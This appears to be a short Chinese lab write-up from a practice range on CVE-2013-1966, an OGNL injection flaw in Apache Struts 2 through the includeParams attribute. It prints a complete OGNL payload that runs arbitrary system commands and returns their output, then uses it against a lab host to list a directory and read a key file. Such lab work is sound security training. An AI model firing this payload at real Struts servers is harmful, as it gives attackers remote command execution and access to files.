靶场地址:
https://www.mozhe.cn/bug/detail/S0NiS2JMeTZUTVg3RXdMYzdqWTBQUT09bW96aGUmozhe
漏洞编号:CVE-2013-1966
影响范围:Struts 2.0.0 - Struts 2.3.14
漏洞原理:s:url和s:a标记都提供includeparams属性。
该属性的主要作用域是了解包含或不包含http://request参数的内容。
INCLUDEParams的允许值为:
none-在URL中不包含任何参数(默认)
get-仅在URL中包含get参数
all-在URL中同时包含get和post参数
当INCLUDEParams被赋予了以上参数,struts会进行OGNL解析
任意命令执行Exp:
${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('[命令]').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}
构造需要的命令进行url编码,添加到http://219.153.49.228:45210/?a=[exp]
执行ls \命令:
返回目录
执行cat /key.txt命令:
获得key
网友评论